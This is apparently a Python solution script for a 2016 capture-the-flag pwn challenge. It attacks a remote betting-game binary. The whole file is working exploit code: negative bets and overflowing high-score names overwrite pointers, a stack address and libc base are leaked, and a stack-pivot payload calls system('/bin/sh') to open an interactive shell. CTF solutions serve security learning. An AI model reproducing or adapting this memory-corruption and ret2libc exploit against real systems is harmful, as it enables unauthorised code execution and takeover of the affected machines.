pwn300_com_tam_grandprix2016.py

from Pwn import *
import re
# p = Pwn(elf='./pwn004')
p = Pwn(elf='./pwn004',host='bakpwn04.grandprix.whitehatvn.com',port=23504)

def play_game(money,locky_number):
	p.read_until('>')
	p.sendint(1)

	p.read_until('>')
	p.sendint(1)

	p.read_until('Enter Bet: $')
	p.sendint(money)
	p.read_until('Your locky number: ')
	p.sendint(locky_number)

	p.read_until('>')
	p.sendint(3)

def high_score(name):
	p.read_until('>')
	p.sendint(4)
	p.read_until('name:')
	p.sendline(name)

def history():
	p.read_until('>')
	p.sendint(2)

def _help():
	p.read_until('>')
	p.sendint(3)

def exploit():
	p.connect()

	play_game(-10000,1234567890123)
	high_score('C'*36 + p.pack(0x804c0d0))
	play_game(10008,123456)
	stage1 = 'A'*4 + p.pack(0x804c120)
	stage1 = stage1.ljust(36,'A')
	high_score(stage1 + p.pack(0x804c120))
	play_game(-4,123456)
	high_score('A'*36 + p.pack(0x804c0f0))

	out = p.read_until('Menu')
	# print repr(out)
	stack = re.findall(r'\|(.*)\|([\-0-9]+)',out)[-1][1]
	stack = c_uint32(int(stack)).value
	# # print stack
	# stack = stack.rstrip(' ') + '\xff'
	# stack = p.unpack(stack)
	print hex(stack)

	# raw_input('>')
	play_game(-1000,123123)
	stage1 = 'A'*4 + p.pack(0x804c1a0)
	stage1 = stage1.ljust(36,'A')
	high_score(stage1+ p.pack(0x804c190))
	play_game(-10,1231231)
	high_score('E'*36 + p.pack(0x804c140))

	out = p.read_until('Menu')
	# print repr(out)
	idx = out.find('\xf7')
	libc = p.unpack(out[idx - 3:idx + 1])
	libc = libc - 0x1ac898
	print hex(libc)
	print out

	play_game(-1000,123123)
	high_score('A'*36 + p.pack(0x804c210))
	play_game(-10,12312)
	stage2 = 'A'*4 + p.pack(stack + 284)
	stage2 = stage2.ljust(36,'A')
	high_score(stage2 + p.pack(0x804c230))
	play_game(-20,12312312)
	high_score('A'*36 + p.pack(0x804c1c0))

	system = libc +  0x40310
	payload = p.pack(system) + 'G'*4 + p.pack(0x804c230) + 'WWWW'
	payload+= p.pack(stack + 284)
	payload+= 'CCCC'
	payload+= p.pack(stack + 280) + p.pack(0x08049D1E)#leave; ret
	payload+= 'DDDD' + '\x00'*4
	high_score(payload)

	# out = p.read_until('Menu')
	# idx = out.find('\xf7')
	# setvbuf = p.unpack(out[idx - 3:idx + 1])
	# print hex(setvbuf)

	high_score('/bin/sh\x00')

	p.read_until('>')
	p.sendint(0)

	p.io()

exploit()